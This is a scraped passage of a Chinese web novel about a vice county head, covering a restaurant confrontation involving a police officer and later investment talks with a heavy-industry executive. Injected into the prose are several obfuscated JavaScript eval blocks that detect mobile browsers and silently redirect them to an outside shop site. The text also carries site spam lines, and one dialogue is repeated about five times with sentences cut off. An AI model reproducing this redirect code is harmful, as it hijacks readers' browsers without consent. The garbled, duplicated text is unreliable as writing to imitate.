戚瑶妈妈就是这个节目的忠实粉丝,戚瑶还在争取李承和许梦的同意后,给她妈妈打了一个视频电话。 开心的介绍起,《东江问政》最美主持人许梦正在跟她同桌吃饭,就像介绍一个明星一般。 在这种愉悦的气氛下,大家都很轻松。 二师兄烧烤是风林最火的店,味道也相当不错。 朱师傅开车,不能饮酒。 令李承没想到的是,戚瑶这个小丫头居然会喝,酒量似乎还不错。 李承,许梦和戚瑶也就小酌几瓶。 不灌酒,不多喝,不商务,点到为止 第362章 烧烤店冲突 “老板,这杯酒我敬您,多谢您的关照,不然我现在可能就要在乡下里了,您是我的贵人。 请您放心,我一定认真完成我的工作,绝对不辜负您对我期望。” 戚瑶站起身,双手举杯,敬了李承。 “坐下喝就行,不用这么正式,今天就是朋友之间的聚餐。”李承端起杯,跟戚瑶碰了一下,将杯中啤酒一饮而尽。 在他们聊天期间,隔壁桌的几个男人,目光时不时的往许梦身上瞟。 主要还是许梦今天打扮得过于耀眼。 对于那些充满欲望的目光,李承心里不爽,却也不会计较什么。 三瓶啤酒下肚,李承起身去了一趟卫生间。 当他走出洗手间时,看到隔壁桌的一个胖子,正提着一打啤酒站在自己的桌前。 因为烧烤店人多杂乱,他也听不清说了些什么。 直到他走近后,才逐渐听清。 “我和我的几个朋友就是想跟你喝杯酒,没别的意思,怎么,你这大主持人有架子呗?” 因为是他被许梦婉拒过,外加他也喝了不少酒,语气中带着不悦。 “兄弟,我朋友不习惯跟外人喝酒,给你面子,把你的酒拿回去。”朱师傅此时正在当和事佬,劝说着对方。 “我认识你吗?就给你面子。”对方瞪了朱师傅一眼,呵斥道。 这时,李承也走了过来。 “喂,朋友。” 李承站在他身旁,喊了对方一声,待到对方回过头,李承说:“这是我女朋友。” 身为一名副县长,李承要时刻保持他的形象。 所以,即便心中不满,但他的脸上还是带着微笑。 一句‘这是我的女朋友’,是宣告立场。 告诉对方,识趣一点,适可而止,不要再打许梦的主意。 “我们也没别的意思,我们哥几个就是想跟她喝杯酒,交个朋友而已,多个朋友多条路嘛,以后在这风林县,遇到什么麻烦,找我们好使!” 男人的态度在见到李承时,也相对缓和了些。 这件事,本应该到此结束。 可现实就是这样,有时候矛盾的爆发,和矛盾的解决,就是一句话之间。 “你算什么东西,还用得着找你。” 朱师傅刚才被男人怼了一句,心里有火气,听到男人这番话,他忍不住嘟囔了一句。 李承是常委副县长,是风林县权力最高的十一人之一。 在朱师傅看来,对方 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 在李承面前说这种话就是关公面前舞大刀。 但朱师傅说这句话也不是故意找茬他只是小声嘀咕抱怨刚才男人对他的呵斥。 可这句话偏偏被男人听到了耳朵里。 “你他妈的嘟囔什么呢有种你大声点说!”男人伸手推了朱师傅一把指着朱师傅的鼻子骂道。 朱师傅被推了一把本来是想还手的可碍于李承在场也只能选择忍气吞声不给李承惹麻烦。 “有话可以好好说动手就是你的不对了。”见到他动了手李承的微笑逐渐收敛。 “动手咋地呀他不骂我哥们我哥们能动手呀!” 这时隔壁桌又有一个染着黄头发的男人冲了过来态度异常蛮横。 “老板要不要报警?” 戚瑶看着对方气势汹汹低声问李承。 “报警草。” 听戚瑶准备报警黄毛不屑的轻哼一声目光看向他们桌的一个同伴:“乔队他们要报警 “这归辖区派出所管我管不着让他们报吧。”被称为乔队的男人摆了摆手继续撸串喝酒。 “你是警察?” 李承眸子一冷看向乔队冷声问。 “嗯怎么了?”乔队放下手中的竹签问。 “身为警察你就这么看着你的同伴过来寻衅滋事而不管?” 以李承的身份跟这些地痞流氓计较过于小题大做丢身份。 身为一名公职人员尤其是领导干部。 碰到那些地痞无赖尤其是只动口不动手的臭无赖最无奈。 他骂你你不能还口还口就是违纪。 报警吧还显得小题大做没有格局。 但对方中有一个警察情况就不一样了。 虽说乔队并没有参与进来但李承可以将怒火发泄到他的身上用他来找回颜面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344242|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这怎么就叫寻衅滋事了呢我朋友无非是想跟那个美女认识一下。”乔队喝了口啤酒一副无所谓的样子。 “他动手了你看不见吗?少在这里强词夺理你这是严重的不作为包庇纵容违法行为!” 李承严厉的呵斥一句问:“你是哪个部门的?” 被李承问到工作部门乔队沉默了他也怕惹到不该惹的人。 尤其是许梦这种美女能找的男朋友身份也绝不一般他有些怕了不肯说。 可偏偏他的同伴们中有损友。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “我兄弟是县局治安大队的副队长,咋的!”黄毛梗着脖子,道。 “治安大队的副队长,就是这么治安的。” 李承冷哼一声,看向乔队:“你的违纪问题,我会通知你们刘局长,有什么异议可以到县政府找我,我叫李承。” 饭店这么多人在,李承不能把他们局长喊过来,进行批评。 处分的问题,放私下里,在办公场所去解决。 今晚这件事,只能暂时先搁置下来。 “李,李县长!” 听到李承的名字,乔队从椅子上站了起来。 他知道,县里来了一位常委副县长,而且是敢跟陈红旗硬碰硬是狠角色。 但他没想到,跟这位副县长的第一次见面,是以这种形式。 顿时间,乔队的额头渗出了一层冷汗。 “我们走吧。” 李承没有再搭理这群人,他已经亮出了自己的身份,这群人也不可能再纠缠。 原本好好的心情,被这场闹剧打破,李承也不想再继续逗留下去。 “李县长,您消消气,今天这事闹的,实在抱歉。” 乔队快步到李承身边,不停的道歉,并对店老板说:“老板,他们这桌的账,算我这里。” “买单,多少钱?” 对他的道歉,李承不予理会,他也不屑于让对方给自己买单。 店老板看了看李承,又看了看乔队,左右为难。 “多少钱?”李承再次问。 “320。” “付过去了。” 第363章 效率 李承四人出了饭店。 乔队和惹事的两个男人也追了出来。 “李县长,实在是抱歉,我真不知道这是你的女朋友,不然给我一百个胆子,我也不敢去招惹呀。” 最开始搭讪的男人,一改刚才的嚣张,低声下气的道歉。 见李承不理他,他又看向了许梦:“美女,我也没别的意思,就是想跟你交个朋友,不是骚扰,也不是寻衅滋事,哎呀” “不是寻衅滋事,你干嘛要打人?”戚瑶替朱师傅打抱不平。 闻言,男人又连忙凑到朱师傅旁边:“兄弟,我今天喝多了,你别跟我一般见识,这样,我赔你点钱行不行。” “谁稀罕你的钱。” 朱师傅冷哼一声,解开汽车的锁,坐进主驾驶。 在这个期间,乔队也一直说好话,请求李承的原谅。 下半年,他还要为升任大队长努力,也提前打点了关系,如果因为这件事,被记了处分。 他晋升无望,打点关系花的钱,也白花了。 对他影响很大。 可任由他说破了天,李承也不予理睬。 看着李承等人坐上汽车离开,乔队的脸色沉了下来。 他怒视着身旁的二人。 “乔队,我也不知道他是县长呀,给你惹麻烦。”男人挠了挠头,尴尬的说。 ‘啪’ 在他道歉时,一记响亮的耳光在他耳边响起。 这一巴掌,乔队并没有抽他,而是抽了他旁边的黄毛。 黄毛捂着脸,一脸懵逼:“乔队,惹事的人是他,你打我干啥?” “你他妈的不提老子,他知道老子是警察呀,你妈个比的!” 想到此事,乔队就气不打一处来,抬腿又踹了黄毛一脚。 他属于是人在家中坐,祸从天上来。 “你们的事,我办不了了,就等着挨拘吧。” 次日。 李承坐在办公室里,又给北方重型装备的刘秘书打去一个电话。 询问金总今天是否有时间,得到的答案,同样是敷衍。 ‘咚咚咚’ “进。” 得到李承的允许,戚瑶推门而进:“县长,政府办将批款资料存在的问题已经修正了。” “全部修正了,还是按照提出的那部分修正的?”李承问。 “您让我提出的那部分被修正了,剩下的半部分,要让他们去改吗?” 戚瑶已经想通李承是在针对政府办, 她问。 “嗯,让他们去改。” 李承点了点头,戚瑶的悟性,让他较为满意。 “好的县长。” “对了,等下你让朱师傅送你去一趟县公安局,把昨天发生的情况告知给刘局长,让他给我处理结果的反馈。” 因为那件小冲突,犯不着李承亲自跑一趟,或者打电话过去。 让戚瑶去处理就行,正好锻炼一下她的能力。 “嗯,知道了。” 戚瑶离开后,李承拿起了南陵市重工业企业名单,认真看了起来。 并构思接下来的开会和培训内容。 招商的进度需要提升,这需要团队的协作发力,不能只单单靠他和林青两个人。 领导者,是要去领导团队。 而非事事亲力亲为。 能力再强,不懂得运用团队,也干不出一番大事业来。 ‘我的爱如潮水.’ 李承思考中,手机响了起来。 是常务副县长,崔学文。 “喂,常务。” 接通电话,李承将身体倚靠在靠背上,伸了一个懒腰。 “李县长,今晚有时间吗?一起吃饭。”崔学文邀请道。 “好啊,有时间。” 李承邀请了他几次,他都婉拒,想跟李承保持一定的距离。 今晚,他主动邀约,李承觉得对方是有事。 “常务,你那边几个朋友呀,我订包厢。”李承问。 上次他答应请客,这顿饭,李承要请。 “不用订,我们去洪老书记的家里吃,他想认识你。”崔学文说。 “嗯,好。” 听到是洪明德想见自己,李承有些纳闷,但还是答应了下来。 对于这位老书记,他也早就想会一会了。 “那就这么订了,晚上你回县政府吧?” “回。” “那我们一起走。” 挂断电话,李承并没有把这件事太放在心上。 他拿起桌子上的企业资料,起身去找林青。 党委书记办公室。 林青刚撂下动联绿能老总的电话,看向走进来的李承:“李主任。” “林书记,有件事我想跟你商量一下。” 李承坐在林青办公桌的对面,将资料放下。 “你说。” “以我们现在的招商进展,一家一家企业的去谈,效率太低。 而且目前而言,在整个管委 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县,还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县,还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县,还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344243|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县,还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县,还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 会中,主要去谈企业的,就只有我们两个人。 我觉得,应该去发挥团队的作用,分成多个小组。”李承说。 “你说的这个想法,我也考虑过,只不过咱们管委会整体员工的专业素质,相对较低。 招商是大事,我信不过他们。” 林青摇了摇头,说。 管委会中,有一部分人是从原单位抽调过来的,这部分人的水平相对还可以。 但还有一部分人,是管委会成立后,才被应聘过来的,这部分人专业素质和经验不足。 招商是大事,林青信不过他们。 “专业素质,可以培训提升,条条框框摆清楚,只要他们认真做就没问题。 南陵市还有二百多家企业等着我们去谈,只凭借我们两个人,根本忙不过来。”李承道。 “我想的是,能不能召开一个招商大会,把有意向的企业集中起来,既能营造氛围。 还能节省我们的时间,最大效率的完成招商。” 林青提议道,这是她最近两天在思考的方式。 “我们风林县,还有政府信誉吗?”李承无奈一笑,反问。 开一个招商大会,将各方企业代表喊到风林县来谈,李承也想过。 但这个办法,短时间还难落实。 风林县产业园区刚刚起步,企业入驻率低,很多基建还在完善中。 最主要的是,风林县政府的信誉度被陈红旗搞垮了。 搞集体招商会,陈红旗作为县长,肯定要参与。 他来了,那些企业们未必会来。 所以,对于当下的形势来讲,挨个去谈,更有利。 第364章 三顾北方 “唉想要建立起信誉难,想要毁掉信誉,就是转眼间,因为他一个人的问题,要我们多少人跟着费辛苦。 林青叹了一口气,问李承:“你说的培训,要怎么培训? “系统化的培训,以数据对比,作为谈判方式,以政府诚意和耐心,作为动摇企业的理念。 对于人员方面,我初步有一个构思,你看一下。 李承说着,将一份他打印的人员名单,递给林青。 这里面,已经被李承分好了组,一共是七个工作小组。 每个小组里,分别有招商,发改,财政,规划等所有与企业落地有关的部门人员,确保小组的完整性。 “以招商人员作为主谈,其余人作为辅助,工作办出一位文员跟随,负责进行全程的谈判纪要,已经作风监督。 任何人若是存在失职,我们事后进行统筹追责。 李承把自己的想法,大概讲述给了林青。 听完后,林青思考了十几秒,提议:“我们最好有一个奖罚机制,这样也能让他们更用干劲和约束力。 “嗯,可以。 李承点了点头,问:“你觉得,什么奖励合理? “拿出四个晋升名额,怎么样?林青问。 “嗯 以晋升作为奖励,李承并不反对。 但这会存在一个弊端。 “主谈是招商,奖励最后也会落到招商人员的头上,这不太妥。 企业入驻,最终的奖励得主,一定会出现在主谈人员之中,这会变相的打击其他人员积极性。 除此之外,还可能出现抢功的情况。 例如,其他人员为了抢功,干涉招商人员的正常谈判,在谈判桌上插嘴。 这会影响企业对政府的印象。 “林书记,招商拿出两个晋升名额,其余部门各拿出一个名额,怎么样? 要想马儿跑,就要给马儿吃草。 必须确保让每个人,都觉得自己有晋升的希望,才能做大程度发挥奖罚机制的效果。 “嗯,这个主意可以。 ‘我的爱如潮水,爱如潮水将我向你退’ 两人进一步交谈具体培训内容时,李承的手机响了起来。 是北方重型装备的刘秘书。 “刘秘书,你好。 接通电话,李承脸上洋溢起笑容。 对方主动打来电话,很大可能是金总有时间了。 “李县长 你的朋友正在书荒,快去帮帮他吧 您好,今天下午三点方便来一趟吗?”刘秘书温和的问。 “方便,金总有时间了吗?” “嗯。” “好,我一定准时到。” 挂断电话,李承笑容更加明朗。 “金总要见你?”林青笑着问。 金总主动邀约,就证明,招商的事情还有得谈。 “嗯。” “看来他的气也消了。” 吃过中午饭,李承做了一下准备工作,赶往了北方重型装备。 这次去见金总,李承并没有带团队,只带了司机和秘书。 金总之前已经去风林县谈过,又被陈红旗冒犯过,所以这次会面,不会是商务谈判。 属于是合作前的提前沟通。 谈得好,接下来双方再出代表,完善合作。 这次见面,不适合带太多的人。 两点半,李承到达了北方重型装备,还是那个熟悉的休息室。 李承和戚瑶两个人开始等待。 时间很快来到三点钟,外面传来脚步声。 “李县长,不好意思呀,我们金总临时有事,可能还要您再等一会儿。” 进门的人,只有刘秘书,仍然是拖延。 “好,没关系,等金总时间方便的。”李承微微一笑,说。 “嗯。” 刘秘书点了下头,退出了办公室。 “李县长,我们今天不会又见不到金总吧?”戚瑶担忧的问。 都说,再一再二,没有再三再四。 金总已经放了他们两次鸽子,第三次还在拖延时间,就连戚瑶这个好脾气,也有些看不惯。 “有可能。”李承无奈一笑,说。 “那这次被放鸽子,我们下次还来吗?”戚瑶问。 “来!” 对于这个回答,李承很坚定。 北方重型装备的体量够大,他一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348326|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 企业招进去,能顶十家。 而言,如果风林县产业园区能跟他们签约合作,相当于拿到了一个金字招牌。 以后再去招商南陵市的其他企业,这都会成为一张最佳名片。 又等了很久,李承看了一眼腕表上的时间,四点二十分钟。 李承答应崔学文的邀请,今晚看来是没时间赴宴了。 拿起电话,李承给崔学文拨通了过去。 “喂,常务,抱歉呀,今晚我不能去赴约了,北方重型装备约我谈招商,我正在南陵市。” 电话接通,李承如实 你的朋友正在书荒,快去帮帮他吧 讲述了自己不能赴约的原因。 相比于一场饭局,工作才是第一位。 “哦,那我知道了,改天等你方便的。” 听到李承失约,崔学文的语气沉了几分。 “帮我跟洪老书记说一声,今天的确是工作原因,没办法,改天我登门拜访。”李承略带歉意的说。 “嗯,知道了,招商要紧。” 挂断电话,李承点燃了一根香烟。 洪明德是本地派的最大靠山,虽说自己是为了忙于工作,可毕竟放了对方鸽子。 这种行为,可能会让对方很不满意。 李承也想跟本地派缓和关系,对方也递来的橄榄枝,只是. 李承深深吸了一口烟。 相比于政治斗争,他更看重的是招商引资,是实打实能为风林县老百姓做出的贡献! 又等了一个小时,仍迟迟不见金总的身影。 李承的情绪也开始变得烦躁。 他爽约了洪老书记的家宴,跑到南陵来谈招商,就怕最后连金总的面都见不到。 那就是赔了夫人又折兵。 临近六点,刘秘书再次返回。 这一次,她的脸上不再是那种歉意笑容。 “李县长,金总已经在饭店等您,专车就在楼下,您跟我这边请。”刘秘书微微一笑,做出请的手势。 “好。” 李承微微点头,看向身旁的戚瑶:“你和朱师傅去吃饭吧,开票报销就行。” 对方只邀请了李承一个人,那就不能带秘书。 第365章 金总 这家餐厅坐落下主城区的一个胡同中。 是一个四合院,装修得颇有古典气息。 属于是私厨,连牌匾都没有。 “这边请。 在刘秘书的引路下,李承进入侧房的一个包厢。 “金总,李县长到了。 推开对开式的木门,刘秘书恭敬的对包厢内,那位穿着休闲装的男人说。 “嗯。 在金总的点头下,刘婷冲李承微微一笑,退出了包厢,并关闭房门。 “金总您好,我是风林县的副县长,我叫李承。李承迎上对方,主动伸出手,态度谦逊。 对方知道李承的身份,但李承仍要正式的介绍一下自己。 “您好李县长。 金总站起身,礼貌的跟李承握了握手,做出请示的手势:“请坐。 李承拉开椅子,坐在了金总的对面。 桌子并非是正式商务接待的圆桌,而是方桌。 整体氛围偏轻松。 不隆重,但更高效,适合小型会谈。 “李县长,不好意思呀,这两天公司在跟埃及的企业谈合作,时间紧缺,让李县长等久了。 金总为多次放李承鸽子,做出解释。 他的目光看似随意,实则一直在观察着李承。 他在看李承是否因为这几次放鸽子,对他有意见,想看看李承到底是一个什么样的干部。 “理解。 李承微微一笑,说:“政府是为企业服务的,企业忙,证明效益好,政府要给予支持和理解。 李承也在借这件事,表达一个态度和观点。 李承的观点,是政府以保障和服务为义务。 这种观点,恰恰与陈红旗给企业们展现出的那种政府高高在上,所有企业都要听从指挥,唯我独尊的观点相反。 李承要用这种态度,转变金总对风林县领导班子的印象。 “省政府出来的干部,就是比县政府的觉悟高,呵呵. 金总淡淡一笑,他对李承回答满意的同时,也再次展露出对陈红旗的不满。 “风林县产业园区是我的主管部门,县里其他方向我不管,但园区发展,我可以定。 李承认真的对金总说。 金总对陈红旗意见颇深,就算北方重型装备入驻风林县,想必,金总也不会再想与陈红旗打交道。 所以,李承要用最坚定的方式告诉金总。 园区是他李承的地方 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,他们若是到风林县建厂,跟他一个人打交道就行。 任何他答应的政策,也没人能改变! “李县长很有底气嘛。 金总嘴角微微上扬,他对李承的话,并不能完全相信。 “这不是底气,如果连这点权限都没有的话,我也就没必要从省里下来了。 李承曾在省政府,担任过省长秘书的身份,是他最大的招牌。 有这个工作履历,尽管李承现在只是一位副县长,这些企业家们,也会在心中无限放大他的权力。 权力是复杂的。 除手中的实权之外,可运用人脉也是权力的隐性部分。 李承最让人敬畏的,不是他副县长的身份,而是省长秘书的工作履历。 李承在明着告诉金总。 省里派他下来,就是赋予他的一种特权,为了园区的发展,这种特权的加持下,可以凌驾于县长、县委书记之上! “哈哈哈像李县长这种特派员,还能三顾我这个茅庐,不容易呀。 金总玩笑了一句。 他今天能招待李承,既是看中了李承的诚意,也是看中了李承的政治背景。 这两点,缺一不可。 如果李承没有这层背景,换做是林青,金总不会放鸽子,但会直接拒绝入驻风林县。 他不能允许公司,入驻到陈红旗那种人领导的园区中。 这不仅是他个人与陈红旗之间的矛盾,也是对公司发展和股东们负责。 在两个人聊天期间,服务员陆续上菜。 一共六道菜,三荤,两素,一汤。 “李县长,今晚我们就简单吃个便饭,我血糖高,不能喝酒。金总说。 “金总的招待很用心了,这种气氛才会让人舒适,那种酒桌文化,我不喜欢。 这是李承的心里话。 李承对饮食并不挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348327|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剔,比起那种动辄十几道菜,标配茅台的宴会。 这种简单几道菜,不喝酒,只喝汤,喝茶的晚宴,更能让李承放松。 心情舒适。 “前两天,汉江的刘市长来找过我,他也想邀请我们去汉江建厂,开出的政策很丰厚。 金总盛了一碗汤,细细品味起来。 “刘市长能来,看来是对你们集团势在必得,呵呵呵. 李承放下手中的筷子,用纸巾擦了擦嘴,问:“他们开出什么政策? 刘宝林作为汉江市的行政一把手,能亲自跑一趟南陵市,而非打发一位 听说看这本书的人都是很幸运的,分享后你的运气会更棒 副市长过来,这已经算是汉江的最高规格。 而且,刘宝林能来,就是抱着吃定北方重型装备的决心。 汉江作为省会城市,在招商方面,就是降维打击。 李承脸上带着笑容,心情还是沉重的。 “落地优惠政策与你们风林县一致,并且,我们企业除了每年的固定省补政策外,还有高额的首台套市补。 这种市补,你们滨西市,应该给不到吧?” 金总喝着汤,语气平静的说。 “我只能说,尽力争取,但以滨西市的经济水平,很难争取到。” 跟金总这种人相处,就完全没必要画饼。 能做到的事情可以说,做不到的事情,不能乱说。 滨西市没有汉江的财大气粗,自身运转都是问题,根本没钱去补贴企业。 “那你们风林县,还有什么优势?”金总淡淡的问。 “汉江的工业园区在吾月县,我在省里工作时,对于这个工业园区有过了解。 与他们相比,我们的优势在于环保审查相对宽松,能耗指标给的高,以及可以给贵公司批的土地更多。” 李承说的这几点,不谈钱,却处处在重工业的痛点。 排放,能耗,土地。 这是重工业的三大要害,相比于吾月工业园,风林县更灵活。 “金总,您也不想让北方重型装备,成为全省的模范企业吧” 李承笑眯眯的看着金总。 模范企业,这不是挖苦 第366章 抬价 模范企业。 听着很有成就感,但几乎没有重工业企业,愿意当模范企业。 模范企业,就意味着各项指标,都要达到标准。 包袱太重。 需要保供,就业,社会责任,排放标准,能耗指标,管理成本等. 总而言之,当模范企业,就等于要多花钱,多担责,多受约束,少赚钱,风险也相对提高。 但以北方重型装备的规模,以及它的创新生产力,如果落座在汉江的产业园区,日后很大概率,会被要求当成模范企业。 毕竟,汉江是省会城市。 汉江需要一些模范企业,来维持它的城市形象。 “呵呵呵李县长,你说的这些,跟汉江都是有得谈嘛。” 金总笑呵呵的说。 